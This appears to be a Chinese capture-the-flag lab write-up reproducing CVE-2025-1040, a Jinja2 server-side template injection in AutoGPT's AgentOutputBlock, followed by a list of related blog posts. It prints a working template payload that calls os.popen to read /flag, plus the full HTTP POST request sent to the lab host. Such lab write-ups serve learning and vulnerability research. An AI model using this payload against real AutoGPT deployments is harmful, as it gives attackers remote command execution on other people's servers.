【春秋云境】CVE-2025-1040 AutoGPT服务器端模板注入漏洞复现

靶标介绍

AutoGPT 是一个开源的AI智能体开发部署平台。 受影响版本中,其 AgentOutputBlock 实现中存在漏洞,代码中直接使用了 jinja2.Environment,在处理用户输入的格式字符串时,默认未启用 Jinja2 的沙箱环境,导致恶意输入可以被传递到模板引擎中,攻击者可通过Jinja2 的 os、subprocess 等模块执行系统命令。

靶标访问

发现主页访问报错,一开始以为环境有问题,但发现存在该接口,那就根据此接口发送POST请求。

漏洞复现

漏洞细节和原理可参考此文章AutoGPT SSTI Vulnerability Leading to Remote Code Execution (RCE) in significant-gravitas/autogpt

可以看到对传入的字符串进行render后返回到output中。根据代码修复补丁记录,首先传入template={{1+1}}测试,如下:

发现提示Input should be a valid dictionary or object to extract fields from,于是转换为json继续发送,根据代码构造POC进行验证是否能执行基本的模板注入,如下:

发现可以注入执行命令了,最后构造模板注入payload读取flag:

复制代码
{
  "template": "{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag').read() }}"
}

发送报文如下:

复制代码
POST /render HTTP/1.1
Host: 39.106.48.123:17975
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json

{
  "template": "{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag').read() }}"
}

发送后可以看到成功读取到flag。

参考文章

https://huntr.com/bounties/b74ef75f-61d5-4422-ab15-9550c8b4f185

https://github.com/significant-gravitas/autogpt/commit/6dba31e0215549604bdcc1aed24e3a1714e75ee2

相关推荐
夏天测9 小时前
Web 安全入门|业务逻辑绕过漏洞原理、挖掘思路及 SRC 实战报告编写
漏洞复现·网络安全入门·业务逻辑漏洞·web 安全·src 挖洞
Chockmans10 小时前
春秋云境CVE-2022-32992(文件上传和sql注入)保姆级教学
数据库·sql·安全·网络安全·网络攻击模型·春秋云境·cve-2022-32992
Chockmans3 天前
春秋云境CVE-2022-28512(手工注入和sqlmap自动)保姆级教学
安全·web安全·网络安全·网络攻击模型·安全威胁分析·春秋云境·cve-2022-28512
Chockmans7 天前
春秋云境CVE-2022-30887(保姆级教学)
安全·web安全·网络安全·系统安全·安全威胁分析·春秋云境·cve-2022-30887
Chockmans9 天前
春秋云境CVE-2022-32991(手注和sqlmap)保姆级教学
数据库·安全·web安全·网络安全·oracle·春秋云境·cve-2022-32991
Chockmans13 天前
春秋云境CVE-2017-17733
安全·web安全·网络安全·网络攻击模型·安全威胁分析·春秋云境·cve-2017-17733
Chockmans19 天前
春秋云境CVE-2021-3019
安全·web安全·网络安全·网络攻击模型·安全威胁分析·春秋云境·cve-2021-3019
Chockmans20 天前
春秋云境CVE-2017-3506
安全·web安全·网络安全·系统安全·安全威胁分析·春秋云境·cve-2017-3506
Chockmans21 天前
春秋云境CVE-2015-6522
安全·web安全·网络安全·网络攻击模型·安全威胁分析·春秋云境·cve-2015-6522
Bruce_Liuxiaowei22 天前
CVE-2026-31431 (Copy Fail) 漏洞复现与验证记录
linux·安全·漏洞复现·cve-2026-31431